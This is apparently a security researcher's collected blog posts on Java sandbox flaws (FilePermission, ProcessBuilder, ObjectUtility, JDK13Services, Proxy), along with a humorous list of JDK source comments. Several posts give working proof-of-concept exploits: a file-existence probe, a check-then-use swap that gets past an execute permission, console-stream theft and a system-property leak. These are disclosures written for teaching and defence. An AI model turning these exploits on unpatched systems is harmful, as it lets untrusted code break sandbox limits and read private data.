FilePermission class leaks sensitive information

Somebody might consider it ironic that the security class which is responsible mapping access permission to files (java.io.FilePermission) is actually leaking information about the filesystem.

FilePermission uses a doPrivileged block to obtain a canonical path to the file/folder given as a parameter to the constructor. The canonical path is then stored in a private and transient field (called cpath) which has no accessor method.

The canonical path is security-sensitive, because if you give it the input of "." it will become the full (canonical) path to the current execution directory.

Also, in windows, if I give it a path, such as "c:\windows" it becomes "C:\WINDOWS" on my machine, as both the drive letter and windows folder are uppercase. If I give it a path that does not exist, such as "C:\whatever" it does not get altered. Thus I can test the existence of files and folders.

The cpath is not directly accessible, but the FilePermission class has a hashCode method, and the implementation is:

384  public int hashCode() {
385     return this.cpath.hashCode();
386  }


So the hashcode of the String of the canonical path is available. I looked into the possibility of reversing the string hash, but it's not really practical. The simple algorith (which is explained here) is easy to reverse, but as it's extremely lossy, the number of strings that have any given hash is very big.

File or folder existence on Windows can be easily tested by giving a toLowerCase and toUpperCase versions of any path to FilePermission and then comparing the hashcodes. If the hashcodes are equal, the file/folder exists, if they're unequal, it doesn't exist.

For example, on my machine, the following:

001 import java.io.FilePermission;
002 
003 public class FP {
004     public static void main(String[] args) throws Exception {
005         System.out.println(fileExists("C:/windows"));
006         System.out.println(fileExists("C:/filedoesnotexist"));
007     }
008     
009     static boolean fileExists(String name) {
010         return new FilePermission(name.toLowerCase(), "read").hashCode() == new FilePermission(name.toUpperCase(), "read").hashCode();
011     }
012 }


Yields the output:
true
false

In similar fashion, you could compare the hashes of FilePermissions for ".", "..", "../..", "../../.." until the hashcode stops changing, which means you've hit the root (Drive-Letter:\ on windows or / on linux/unix/etc). The depth of the execution folder can thus be determined and it is possible to try to guess each of the folders of the path individually.

It's not a very serious problem at all, but it's one I found to be amusing both for the simplicity of it and the fact that it's in the very class that is used to map access to files.

Defensive Copying - How not to do it

Defensive Copying

Sun Secure Coding Guidelines talks about defensive copying of input and output, to protect against modifications that occur after validation.

Let's look at one Sun implementation (from the java.lang package, no less) as an example of how not to do it.

ProcessBuilder

java.lang.ProcessBuilder, as the javadoc puts it, "is used to create operating system processes". You give it a process name, parameters, environment variables and call the start method to execute the process.

The start method is defined as follows:
(EDIT: Fixed syntax highlighter glitch from line 449)

435  public Process start() throws IOException {
436     // Must convert to array first -- a malicious user-supplied
437     // list might try to circumvent the security check.
438     String[] cmdarray = command.toArray(new String[command.size()]);
439     for (String arg : cmdarray)
440      if (arg == null)
441         throw new NullPointerException();
442     // Throws IndexOutOfBoundsException if command is empty
443     String prog = cmdarray[0];
444 
445     SecurityManager security = System.getSecurityManager();
446     if (security != null)
447      security.checkExec(prog);
448 
449     String dir = directory == null ? null : directory.toString();
450 
451     try {
452      return ProcessImpl.start(cmdarray,
453                  environment,
454                  dir,
455                  redirectErrorStream);
456     } catch (IOException e) {
457      // It's much easier for us to create a high-quality error
458      // message than the low-level C code which found the problem.
459      throw new IOException(
460         "Cannot run program \"" + prog + "\""
461         + (dir == null
462         + ": " + e.getMessage(),
463         e);
464     }
465  }

The interesting bit is this:

436     // Must convert to array first -- a malicious user-supplied
437     // list might try to circumvent the security check.
438     String[] cmdarray = command.toArray(new String[command.size()]);

At first glance it might seem like the work of a security conscious programmer.

But quoting fictional Bob, from my previous post on immutability:

Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.

And that's exactly the case here, too. One doesn't even need to get into a tricky situation where a secondary thread keeps modifying the contents of the array; you can simply take advantage of the fact that between the validation on the array and the actual use of the array there's a call to another user supplied object, a File object in the directory field.

So you could initially pass a "safe.exe" as the program, pass the validation of ProcessBuilder.start, and when the code calls File.toString on the File object that's under your control, you set the first index of the String array as "evil.exe".

Example

Let's create a fictional situation, where the security policy allows the execution of C:/windows/system32/notepad.exe and disallows the execution of any other executable. We achieve this by creating a policy file as follows (name it notepad.policy for example):

grant {
permission java.io.FilePermission "C:/windows/system32/notepad.exe", "execute";
};

To enable a security manager for a standalone Java application and to use this policy we just created, always execute java with the following JVM options:
-Djava.security.manager -Djava.security.policy=notepad.policy

In order to test it, try executing calc.exe:

001 
002 
003 public class PBCalc {
004     public static void main(String[] args) throws Exception {
005         ProcessBuilder pb = new ProcessBuilder("C:/windows/system32/calc.exe");
006         pb.start();
007     }
008 }


If the security manager and our policy have been successfully configured that should result in:

Exception in thread "main" java.security.AccessControlException: access denied (java.io.FilePermission C:/windows/system32/calc.exe execute)
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:323)
at java.security.AccessController.checkPermission(AccessController.java:546)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:532)
at java.lang.SecurityManager.checkExec(SecurityManager.java:779)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:447)
at PBCalc.main(PBCalc.java:6)

Executing notepad.exe should work ok:

001 
002 
003 public class PBNotepad {
004     public static void main(String[] args) throws Exception {
005         ProcessBuilder pb = new ProcessBuilder("C:/windows/system32/notepad.exe");
006         pb.start();
007     }
008 }


And finally, an example of the exploitation of the naive defensive copying. We create a List object whose toArray method returns a reference to a String array while keeping a handle to said String array. Initially the String array has notepad.exe as the executed process, but once we pass the validation and ProcessBuilder calls toString of our (anonymous subclass of) File object toString method, we switch the executable as calc.exe.

001 import java.io.File;
002 import java.util.ArrayList;
003 import java.util.List;
004 
005 public class PBMutable {
006     public static void main(String[] args) throws Exception {
007         final String[] str = {"C:/windows/system32/notepad.exe"};
008         List list = new ArrayList() {
009             public Object[] toArray(Object[] a) {
010                 return str;
011             }
012         };
013         
014         ProcessBuilder pb = new ProcessBuilder(list);
015         pb.directory(new File(".") {
016             public String toString() {
017                 str[0] = "calc.exe";
018                 return super.toString();
019             }
020         });
021 
022         pb.start();
023     }
024 }

Finally

This isn't really usable in the applet sandbox world, as unsigned applets by default don't have any execution rights, but you should be aware that because of the naive defensive copying, granting any file execute permission you'll be granting the permission to execute anything at all.

Protection Against Finalizer attack

Java 6 update 17 is out.

Looks like Sun 1up'd the ClassLoader class's protection against the Finalizer Attack.

For more information on the finalizer attack: Sun Secure Coding Guidelines v2.0 Chapter 4-2

The old ClassLoader implementation used the tactic described in the secure coding guidelines. It allows the attacker to create an instance of the class, which is not fully initialized. However a boolean flag field renders the object unusable, as all significant operations check the flag.

Apparently that's not good enough anymore.

The new version of the ClassLoader has a protect constructor (actually 2, but let's look at the one that corresponds to the one in the secure coding guidelines):

225  protected ClassLoader() {
226    this(checkCreateClassLoader(), getSystemClassLoader());
227  }

Which calls the static method checkCreateClassLoader:

175  private static Void checkCreateClassLoader() {
176    SecurityManager security = System.getSecurityManager();
177    if(security != null) {
178      security.checkCreateClassLoader();
179    }
180    return null;
181  }

So if the SecurityManager doesn't allow a SecurityException gets thrown even before the superclass (Object) constructor is called, and thus there will be no object reference to "steal" in the finalizer.

Interesting. Wonder if they'll update the Secure Coding Guidelines as well.

com.sun.corba.se.impl.orbutil.ObjectUtility

Back to security.

Sun's strategy of prioritizing backwards compatibility is something I always appreciated as a developer. Less headaches. Yet, from a security perspective the ensuing "bloatedness" is rather challenging: The attack surface keeps on growing all the time.

So it's not all that surprising to find an applet security problem in an obscure CORBA class buried in the dark depths of the standard libraries.

On the other hand, it's the problems you find in the public java.util, java.io, etc classes that make you really appreciate how very difficult it is to build something secure.

But let's look at one of the aforementioned, obscure CORBA classes today :)

com.sun.corba.se.impl.orbutil.ObjectUtility

It has a problem I found rather interesting, but as far as I could tell, at least in the applet world, it is not exploitable in any serious way. Of course it could be just my lack of ingenuity.

ObjectUtility has two basic functionalities:
-Offer toString functionality to classes that don't implement toString. It recursively lists all the instance field names and their values using reflection and formats the output neatly. I actually use it sometimes as a quick-and-dirty debug to vomiting out object contents. When there is no security manager present it lists all the fields, but with a security manager present it sticks to the public fields (less useful).

-Offer equals functionality to classes that don't implement an equals method. It recursively compares all the instance fields of two objects following somewhat complicated rules.

Let's look at the equals functionality a little bit closer. The logic goes something like this: You give it two objects and it returns true or false depending on perceived equality, with the following details.
-in the case of object fields, recursion is used to compare the two values
-static fields are ignored
-Maps, Sets, Lists and arrays have special handling, where the Collection/array contents are compared individually
-objects x and y of the exact same class (ie. x.getClass() == y.getClass() ) are compared by comparing all the non-static fields individually
-doPrivileged is used to allow access to private fields even with a security manager enabled
-objects x and y of different classes (for example, Object instance and a String instance) are compared by calling equals of the first object, ie. x.equals(y)

Pause for a moment. Absorb the logic. Do you see a problem?

...

This implementation leaks private information. If you compare a malicious object to a sensitive object, in specific cases you can extract references to objects stored in private fields of said sensitive object.

Here's a semi-concrete example. Let's preface it a bit: If you've ever written a Java applet, you'll have noticed that when you use System.out to print some debug information, the output goes to the Java console. How does this happen? The type of System.out is PrintStream. The applet environment sets the System.out as a PrintStream instance which contains contains a Java plugin class TracePrintStream instance, which takes everything written to it and forwards it to be printed in the console.

PrintStream has no method for accessing the inherited (from superclass FilterOutputStream) "out" field, but we can create a new PrintStream and put our own OutputStream inside it. Then compare our PrintStream to System.out. Like this:

001 
002 
003 import java.applet.Applet;
004 import java.io.IOException;
005 import java.io.OutputStream;
006 import java.io.PrintStream;
007 
008 import com.sun.corba.se.impl.orbutil.ObjectUtility;
009 
010 public class StealConsole extends Applet {
011 
012     public void start() {
013         PrintStream syso = System.out;
014         PrintStream stealer = new PrintStream(new OutputStream() {
015             
016             public void write(int b) throws IOException {
017             }
018             
019             
020             public boolean equals(Object obj) {
021                 System.out.println("Stole: " + obj.getClass());
022                 return super.equals(obj);
023             }
024         }, false);
025         
026         boolean eq = ObjectUtility.equals(stealer, syso);
027     }
028     
029 }


So we can get our hands on the TracePrintStream object contained within the PrintStream. I did a quick PoC using this and a thread which kept polling the buffer of the TracePrintStream and on my other laptop with two processors it worked pretty good, it was an incredible CPU hog, but it intercepted everything written to the console by any applet. So if you'd happen to be running a sensitive applet at the same time in the same browser that printed sensitive data in the console it'd be a bad thing. I guess this turned out to be a rather theoretical example anyway.

Other examples that I've tried this on with success: The Collections class has utility methods which return immutable versions of Lists, Maps and Sets. The way they work is that they keep a copy of the original list hidden away in a private field and the getter methods operate on this list and the setter methods throw exceptions. But comparing these immutable collections to malicious collections it is possible to access the collection contained within and modify it. However I couldn't find anything in the core Java where the security depended on the immutability of these collections.

Appease the serialization gods (and other interesting comments from the Java sources)

And now something completely different: I've studied the Java sources quite a bit and I've learned a bunch. I've also come across some pretty funny, strange and unexpected comments. Here's my categorized compilation of the most interesting ones.

Funny

java.math.BigDecimal:

001 /* Appease the serialization gods */
002 private static final long serialVersionUID = 6108874887143696463L;


java.util.ArrayDeque:

001 /**
002  * Appease the serialization gods.
003  */
004 private static final long serialVersionUID = 2340985798034038923L;


com.sun.corba.se.impl.naming.cosnaming.NamingContextImpl:

001     if (impl.Resolve(n[0],bth) != null)
002     // "Resistence is futile." [Borg pickup line]
003     throw new AlreadyBound();


java.awt.Dialog:

001     // add all blockers' blockers to blockers :)
002     for (int i = 0; i < blockers.size(); i++) {


Animator (Demo classes):

001     /**
002      * Stop the insanity, um, applet.
003      */
004     public synchronized void stop() {
005         engine = null;
006         animation.stopPlaying();
007         if (userPause) {
008             userPause = false;
009             notify();
010         }
011     }


javax.swing.text.rtf.RTFGenerator:

001 String approximationForUnicode(char ch)
002 {
003     /* TODO: Find reasonable approximations for all Unicode characters
004        in all RTF code pages... heh, heh... */
005     return "?";
006 }


(Sorry, this typo is an inside joke and will only be funny to one person - you know who you are ;)
com.sun.corba.se.impl.oa.poa.POAImpl:

001 /**
002  * POAImpl is the implementation of the Portable Object Adapter. It
003  * contains an implementation of the POA interfaces specified in
004  * COBRA 2.3.1 chapter 11 (formal/99-10-07).
005 ...
006  */


Resigned

javax.swing.Timer:

001 // This of course implies you can get dropped events, but such is life.


sun.plugin2.ipc.windows.WindowsIPCFactory:

001 // Might as well keep this around


sun.media.sound.MixerSourceLine:

001 // ivg: Well, it does hang in some cases.


sun.security.x509.AVA:

001     if (!in.markSupported()) {
002         // oh well
003         return true;
004     } else {


Informational

sun.tools.java.ClassDefinition:

001  // Why are they called Miranda methods? Well the sentence "If the
002  // class is not able to provide a method, then one will be provided
003  // by the compiler" is very similar to the sentence "If you cannot
004  // afford an attorney, one will be provided by the court," -- one
005  // of the so-called "Miranda" rights in the United States.


Frustrated

javax.swing.JTabbedPane

001  // REMIND(aim): this is really silly;


com.sun.xml.internal.bind.v2.util.DataSourceSource:

001     } catch (IOException e) {
002         // argh
003         throw new RuntimeException(e);
004     }


com.sun.org.apache.xml.internal.serialize.HTMLdtd:

001 public static boolean isURI( String tagName, String attrName )
002 {
003     // Stupid checks.
004     return ( attrName.equalsIgnoreCase( "href" ) || attrName.equalsIgnoreCase( "src" ) );
005 }


javax.swing.text.rtf.AbstractFilter:

001     // stupid signed bytes
002     if (b < 0)
003         b += 256;


com.sun.org.apache.xalan.internal.xsltc.trax.TransformerHandlerImpl:

001     catch (TransformerException e) {
002         // What the hell are we supposed to do with this???
003         throw new IllegalArgumentException(e.getMessage());
004     }


sun.misc.FloatingDecimal:

001     if ( diff != 0L ) {
002         // damn, damn, damn. q is too big.


sun.xml.internal.stream.writers.XMLDOMWriterImpl:

001     public void writeEndDocument() throws XMLStreamException {
002         //What do you want me to do eh! :)


com.sun.org.apache.xml.internal.res.XMLMessages:

001  // Do this to keep format from crying.


Amused

sun.awt.X11.XWM:

001 /*
002  * Helper function for isEnlightenment().
003  * Enlightenment uses STRING property for its comms window id.  Gaaa!
004  * The property is ENLIGHTENMENT_COMMS, STRING/8 and the string format
005  * is "WINID %8x".  Gee, I haven't been using scanf for *ages*... :-)
006  */


Agressive

com.sun.org.apache.xalan.internal.xslt.Process:

001   /** It is _much_ easier to debug under VJ++ if I can set a single breakpoint
002    * before this blows itself out of the water...
003    * (I keep checking this in, it keeps vanishing. Grr!)
004    * */
005   static void doExit(String msg)
006   {
007     throw new RuntimeException(msg);
008   }


com.sun.org.apache.xalan.internal.xsltc.dom.BitArray:

001 /**
002  * This method returns the Nth bit that is set in the bit array. The
003  * current position is cached in the following 4 variables and will
004  * help speed up a sequence of next() call in an index iterator. This
005  * method is a mess, but it is fast and it works, so don't fuck with it.
006  */


Playful

sun.awt.motif.MWindowPeer:

001     // XXX: nasty WM, foul play. spank WM author.
002     public void handleDestroy() {


DirectoryScanner (Example classes):

001     // As it stands, we simply call task.execute() in the current
002     // thread - brave and fearless readers may want to attempt the
003     // modification ;-)


Threatric

java.util.logging.LogManager:

001 if (deathImminent) {
002     // Aaargh...
003     // The VM is shutting down and our exit hook has been called.
004     // Avoid allocating global handlers.
005     return;
006 }


Downright Crazy

javax.swing.text.rtf.MockAttributeSet:

001 /* This AttributeSet is made entirely out of tofu and Ritz Crackers
002    and yet has a remarkably attribute-set-like interface! */
003 class MockAttributeSet
004     implements AttributeSet, MutableAttributeSet


(This has been featured on the dailywtf in the past)
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl:

001 /**
002  * As Gregor Samsa awoke one morning from uneasy dreams he found himself
003  * transformed in his bed into a gigantic insect. He was lying on his hard,
004  * as it were armour plated, back, and if he lifted his head a little he
005  * could see his big, brown belly divided into stiff, arched segments, on
006  * top of which the bed quilt could hardly keep in position and was about
007  * to slide off completely. His numerous legs, which were pitifully thin
008  * compared to the rest of his bulk, waved helplessly before his eyes.
009  * "What has happened to me
010  */
011 protected final static String DEFAULT_TRANSLET_NAME = "GregorSamsa";


Joyous

com.sun.org.apache.xml.internal.serializer.utils.Messages:

001  fmsg = java.text.MessageFormat.format(msg, args);
002  // if we get past the line above we have create the message ... hurray!


Sarcastic

com.sun.org.apache.xpath.internal.axes.WalkerFactory:

001 // If we have an attribute or namespace axis that went up, then
002 // it won't find the attribute in the inverse, since the select-to-match
003 // axes are not invertable (an element is a parent of an attribute, but
004 // and attribute is not a child of an element).
005 // If we don't do the magic below, then "@*/ancestor-or-self::*" gets
006 // inverted for match to "self::*/descendant-or-self::@*/parent::node()",
007 // which obviously won't work.
008 // So we will rewrite this as:
009 // "self::*/descendant-or-self::*/attribute::*/parent::node()"
010 // Child has to be rewritten a little differently:
011 // select: "@*/parent::*"
012 // inverted match: "self::*/child::@*/parent::node()"
013 // rewrite: "self::*/attribute::*/parent::node()"
014 // Axes that go down in the select, do not have to have special treatment
015 // in the rewrite. The following inverted match will still not select
016 // anything.
017 // select: "@*/child::*"
018 // inverted match: "self::*/parent::@*/parent::node()"
019 // Lovely business, this.


Disgusted

com.sun.tools.internal.xjc.reader.xmlschema.SimpleTypeBuilder:

001     // TODO: this is so dumb
002     m.put("string",         CBuiltinLeafInfo.STRING);
003     m.put("anyURI",         CBuiltinLeafInfo.STRING);
004     m.put("boolean",        CBuiltinLeafInfo.BOOLEAN);


com.sun.tools.example.debug.bdi.JDIEventSource:

001 //### Gross foul hackery!
002 private void dispatchEventSet(final AbstractEventSet es) {


javax.swing.tree.FixedHeightLayoutCache:

001     // YECK!
002     return getRow() + 1 + getTotalChildCount() -
003                  (childCount - index);


com.sun.org.apache.xpath.internal.axes.LocPathIterator:

001     // Yech, shouldn't have to do this. -sb
002     if(null == m_prefixResolver)
003         m_prefixResolver = xctxt.getNamespaceContext();
004 
005 ...
006       clone.m_predCount = m_predicateIndex;
007       // The line above used to be:
008       // clone.m_predCount = predCount - 1;
009       // ...which looks like a dumb bug to me. -sb


com.sun.media.sound.MixerClip:

001 // i don't think we should allow this in this release: too many ways to screw up!
002 /*
003   //        // if we have a sample voice, update it
004   //        if (id != 0) {
005   //            // can throw IllegalArgumentException
006   //            // 
007   //            nSetLoopPoints(id, (int)start, (int)end);
008   //        }
009 */


...

001 /*
002 ...
003 if (Printer.err) Printer.err("Could not re-open clip in MixerClip.java.setLoopPoints!");
004 // we are screwed... re-open failed!
005 // sorry....
006 implClose();
007 ...
008 */


com.sun.deploy.util.VersionID:

001 // FIXME: this is a horrendously inefficient representation;
002 // should use an array of ints or Integers rather than re-parsing
003 // them every time


com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Filter:

001     // Horrendous kluge to run filter to completion. See below.
002     if(fNoMoreEvents)
003       return;


Notepad (Demo Classes):

001 /**
002  * To shutdown when run as an application.  This is a
003  * fairly lame implementation.   A more self-respecting
004  * implementation would at least check to see if a save
005  * was needed.
006  */
007 protected static final class AppCloser extends WindowAdapter {
008     public void windowClosing(WindowEvent e) {
009         System.exit(0);
010     }
011 }


Other

sun.jkernel.DigestOutputStream:

001 } catch (NoSuchAlgorithmException e) {
002     // Impossible to get here, but stranger things have happened...
003     throw new RuntimeException("DigestOutputStream() unknown algorithm");
004 }
005 // superstition from a test failure this.out = out;


com.sun.org.apache.xalan.internal.xsltc.dom.CachedDocument:

001 // Brutal handling of all exceptions
002 catch (Exception e) {
003     return(System.currentTimeMillis());
004 }


com.sun.java.util.jar.pack.PackageWriter:

001 // Crash and burn with a complaint if there are funny
002 // bytecodes in this class file.
003 String complaint = code.getMethod()
004     +" contains an unrecognized bytecode "+i
005     +"; please use the pass-file option on this class.";
006 Utils.log.warning(complaint);
007 throw new IOException(complaint);


java.util.jar.Pack200:

001 /**
002 ...
003  * Examples:
004  *     Map p = packer.properties();
005  *     p.put(PASS_FILE_PFX+0, "mutants/Rogue.class");
006  *     p.put(PASS_FILE_PFX+1, "mutants/Wolverine.class");
007  *     p.put(PASS_FILE_PFX+2, "mutants/Storm.class");
008  *     # Pass all files in an entire directory hierarchy:
009  *     p.put(PASS_FILE_PFX+3, "police/");
010  */


com.sun.tools.jdi.ObjectReferenceImpl:

001 /* The above code is left over from previous versions.
002  * We haven't had time to divine the intent.  jjh, 7/31/2003
003  */


com.sun.media.sound.RealTimeSequencer:

001 } catch (MidiUnavailableException mue) {
002 // uhum, strange situation. Need to cast to InvalidMidiDataException
003 throw new InvalidMidiDataException(mue.getMessage());
004 }


com.sun.org.apache.xml.internal.dtm.ref.dom2dtm.DOM2DTM:

001 // (If it's an EntityReference node, we're probably scrod. For now
002 // I'm just hoping nobody is ever quite that foolish... %REVIEW%)


com.sun.tools.doclets.formats.html.AbstractTreeWriter:

001 /**
002  * Generate each level of the class tree. For each sub-class or
003  * sub-interface indents the next level information.
004  * Recurses itself to generate subclasses info.
005  * To iterate is human, to recurse is divine - L. Peter Deutsch.
006  *
007  * @param parent the superclass or superinterface of the list.
008  * @param list list of the sub-classes at this level.
009  * @param isEnum true if we are generating a tree for enums.
010  */


sun.awt.shell.Win32ShellFolder2:

001 // Ouch, we have no hard drives. Return something "valid" anyway.
002 return new File("C:\\");


com.sun.org.apache.bcel.internal.ExceptionConstants:

001   /** The mother of all exceptions
002    */
003   public static final Class THROWABLE = Throwable.class;


com.sun.xml.internal.messaging.saaj.util.ByteOutputStream:

001 /**
002  * Evil buffer reallocation method.
003  * Don't use it unless you absolutely have to.
004  *
005  * @deprecated
006  *      because this is evil!
007  */
008 public byte toByteArray()[] {
009     byte[] newbuf = new byte[count];
010     System.arraycopy(buf, 0, newbuf, 0, count);
011     return newbuf;
012 }


com.sun.org.apache.xpath.internal.compiler.Compiler:

001   int what = getWhatToShow(startOpPos);
002   // bit-o-hackery, but this code is due for the morgue anyway...
003   if(0x00000500 == what)
004     addMagicSelf = false;


sun.jvm.hotspot.runtime.sparc.SPARCFrame:

001 // Also not sure exactly how alignment works...maybe should read these offsets from the target VM
002 // (When you have a hammer, everything looks like a nail)
003 long offset = VM.getVM().alignUp(4, VM.getVM().getAddressSize());   // uc_flags


sun.security.tools.KeyTool:

001 // do not drown user with the help lines.
002 if (debug) {
003     throw new RuntimeException("NO BIG ERROR, SORRY");
004 } else {
005     System.exit(1);
006 }


java.net.Proxy and (Im)mutability

Java 6 update 15 fixed some stuff regarding to java.net.Proxy

Quoting:

A security vulnerability in the Java Runtime Environment proxy mechanism implementation may allow an untrusted applet or Java Web Start application to make non-authorized socket or URL connections to hosts other than the origin host.

I'm assuming Sun is referring to something I'd come across a couple months ago myself. I was looking into some things at java.net and came across the Proxy class. The Proxy class javadoc says

A Proxy is an immutable object.

Yet the class is public and non-final. It's methods are non-final, too. If you don't see the problem, go a few posts back to the bit that talks about immutability.

Didn't look at the fix yet, but Proxy was very much mutable and so it was possible to create a Proxy object which uses TOCTOU to connect to a host other than the originating host. The proxy has a method which returns the address and a mutable Proxy can be made to return the originating host to the security check and some other address for the actual connection.

I'd done an ultraquick PoC, but hadn't gotten around to warning Sun (not that they needed my help from the look of it), because I was working on some more interesting things.

JDK13Services - Thanks!

Sami Koivu acknowledges with thanks Sun Microsystems' thankful acknowledgement.

On a more serious note: Good job, Sun. I liked the fix, it's straightforward, simple and looks foolproof.

No Anniversary for JDK13Services

Java 6 update 15 fixes the simplest Java security bug I've found so far. And just before its anniversary (August 18th), so no cake.

It's also the least serious of the bugs so I'm not terribly upset that it took close to a year to fix.

com.sun.media.sound.JDK13Services has a public, static method called getDefaultProviderClass which takes a Class object as a parameter and it returns the system property which corresponds with the full class name. The problem is (was) that you can create your own classes whose names coincide with security sensitive property names, such as user.home, user.name, etc.

The implication is one of privacy.

An example of reading the user.home property and outputting it to System.out in an applet.

001 package user;
002 
003 public class PropertyThief extends java.applet.Applet {
004 
005     public void start() {
006         String usrHome = com.sun.media.sound.JDK13Services.getDefaultProviderClassName(user.home.class);
007         System.out.println(usrHome);
008     }
009 }
010 
011 class home {}


This'll only work in a pre-update-15 Java. From the quick look into the new rt.jar bytecode, it looks like they're doing a bunch of if's now to limit the properties you can request.

Java SE Security - Part II (Immutability)

Since I named the first bit as "Part I" in February, I'm long overdue for the second part. The problem is that my hands are tied by the fact that Sun still hasn't fixed a lot of the things I wanted to write about, so I'm short on material.

Immutability (@wikipedia)

Aside from being a software design pattern, immutability plays a big role in security, as well. At least in an environment such as the Java security sandbox. The Sun Secure Coding Guidelines section about input and ouput talks about making immutable copies of inputs and outputs.

Even if you've never put serious thought into this, the importance of immutability quickly becomes obvious.

Steve: Let's say my method takes a (java.util) List of Strings as a parameter, performs some security validation on the list and then performs some privileged action on the list.

001 public class PrivilegedClass {
002
003     public void processStrings(java.util.List<String> strings) {
004         for (String str : strings) {
005             if (!isOk(str)) {
006                 throw new SecurityException();
007             }
008         }
009
010         for (String str : strings) {
011             doPrivilegedOperation(str);
012         }
013     }
014
015     private void doPrivilegedOperation(String str) {
016         // privileged stuff
017         // code omitted
018     }
019
020     private boolean isOk(String str) {
021         // security check for string
022         // code omitted
023         return false;
024     }
025
026 }


Bob: The problem is that java.util.List is in interface and can be implemented in a mutable way. Also virtually all the public List implementations included in Java are mutable, so one wouldn't even have to go through the trouble of creating a mutable version - one could just use java.util.ArrayList.

The problem with the mutability is that an ill intentioned caller of the method could pass a list which contains different values while the method does its validation, and then another set of harmful values for the actual processing after the validation has passed. This could be done via timing, or by crafting one's own List implementation for a more exact attack. If the method uses .iterator() to iterate through the list, the first call to .iterator() (used by validation) could be made to return one set of Strings and the 2nd call to .iterator() (used by the post-validation processing) could be made to return another set of Strings.

It's a well known, generic problem.

Let's look at some ways to protect your method and what could go wrong with them. Forgive the silliness of some of these examples, it's just to give the notion of how easy it is to get it wrong.

Steve: I could change the method signature to only accept a more specialized StevesImmutableList.

003     public void processStrings(StevesImmutableList strings) {


Steve: I'd then define StevesImmutableList as a class whose constructor receives a String array and stores it in a private String array field and only has a getter method which returns the array.

001 package version1;
002
003 public class StevesImmutableList {
004
005     private String[] strings;
006
007     public StevesImmutableList(String[] strings) {
008         this.strings = strings;
009     }
010
011     public String[] getStrings() {
012         return this.strings;
013     }
014
015 }


Bob: Arrays are always mutable. The size can't be changed, but the contents (given its size is greater than zero) are free game. And your method is returning a reference to its internal array.

Steve: What if I define my private internal array as final?

Bob: That doesn't help. It'll guarantee that your private field always points to the same array, but the array contents are free game.

Steve: Better have the method call .clone() on the array and return a copy of the array instead of the internal array.

001 package version2;
002
003 public class StevesImmutableList {
004
005     private String[] strings;
006
007     public StevesImmutableList(String[] strings) {
008         this.strings = strings;
009     }
010
011     public String[] getStrings() {
012         return this.strings.clone();
013     }
014
015 }


Bob: Your constructor is receiving an array and storing it as the internal array. A caller with bad intentions could create an array, keep a reference to it, pass it to your object and later on modify it.

Steve: Ok, let's call .clone() on the incoming array as well.

001 package version3;
002
003 public class StevesImmutableList {
004
005     private String[] strings;
006
007     public StevesImmutableList(String[] strings) {
008         this.strings = strings.clone();
009     }
010
011     public String[] getStrings() {
012         return this.strings.clone();
013     }
014
015 }


Steve: Let's also add an overloaded constructor that receives a List to improve the usability of this class.

001 package version4;
002
003 public class StevesImmutableList {
004
005     private String[] strings;
006
007     public StevesImmutableList(java.util.List<String> stringList) {
008         this.strings = stringList.toArray(new String[stringList.size()]);
009     }
010
011     public StevesImmutableList(String[] strings) {
012         this.strings = strings.clone();
013     }
014
015     public String[] getStrings() {
016         return this.strings.clone();
017     }
018
019 }


Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.

Steve: Ok, let's do a manual conversion of the List to an array.

001 package version5;
002
003 public class StevesImmutableList {
004
005     private String[] strings;
006
007     public StevesImmutableList(java.util.List<String> stringList) {
008         this.strings = new String[stringList.size()];
009         for (int i = 0; i < stringList.size(); i++) {
010             this.strings[i] = stringList.get(i);
011         }
012     }
013
014     public StevesImmutableList(String[] strings) {
015         this.strings = strings.clone();
016     }
017
018     public String[] getStrings() {
019         return this.strings.clone();
020     }
021
022 }


Steve: It'd also be nice to be able to serialize this object for passing between JVMs and/or storing object state somewhere. So let's make the class implement Serializable.

001 package version6;
002
003 public final class StevesImmutableList implements java.io.Serializable {
004
005     private String[] strings;
006
007     public StevesImmutableList(java.util.List<String> stringList) {
008         this.strings = new String[stringList.size()];
009         for (int i = 0; i < stringList.size(); i++) {
010             this.strings[i] = stringList.get(i);
011         }
012     }
013
014     public StevesImmutableList(String[] strings) {
015         this.strings = strings.clone();
016     }
017
018     public String[] getStrings() {
019         return this.strings.clone();
020     }
021
022 }


Bob: Serial data can be constructed in such a way that when read, will contain a String array, followed by a StevesImmutableList containing the same String array in the private field, thus making the object mutable.

Steve: Let's make the private field transient and create a readObject method which reads the array from the stream and then clones it before assigning it to the field. Also create a compatible writeObject method.

001 package version7;
002
003 public final class StevesImmutableList implements java.io.Serializable {
004
005     private transient String[] strings;
006
007     public StevesImmutableList(java.util.List<String> stringList) {
008         this.strings = new String[stringList.size()];
009         for (int i = 0; i < stringList.size(); i++) {
010             this.strings[i] = stringList.get(i);
011         }
012     }
013
014     public StevesImmutableList(String[] strings) {
015         this.strings = strings.clone();
016     }
017
018     public String[] getStrings() {
019         return this.strings.clone();
020     }
021
022     private void readObject(java.io.ObjectInputStream s)
023             throws java.io.IOException, ClassNotFoundException {
024         String[] streamStrings = (String[]) s.readObject();
025         this.strings = streamStrings.clone();
026     }
027
028     private void writeObject(java.io.ObjectOutputStream s)
029             throws java.io.IOException {
030         s.writeObject(this.strings);
031     }
032 }


Now some examples from core Java classes

java.lang.reflection.Proxy

Proxy has a method (getProxyClass) which takes a ClassLoader and an array of Class objects, that are supposed to be interfaces, as parameters. It performs some validation on the Class array, and then it dynamically defines and returns a new Class for a dynamic Proxy class which implements all the interfaces of the Class array. If the validation fails, the method throws an Exception (and obviously doesn't return anything).

The getProxyClass uses the user-suplied Class array for the validation and later on for the construction of the Proxy class, so it could be called with an array which has one set of classes for the validation and another set of classes for the Proxy construction.

However, the validation here, as far as I can tell, is strictly for usability. Without the validation, if you gave the method an invalid set of parameters it would sometimes fail with some strange class verification exception. With the validation, the caller gets feedback which is more readily understandable.

java.lang.String

Strings are supposed to be immutable. A lot of things depend on the immutability of Strings. There is no defensive programming in the core classes against mutable Strings (which makes sense, because it'd take a lot of work).

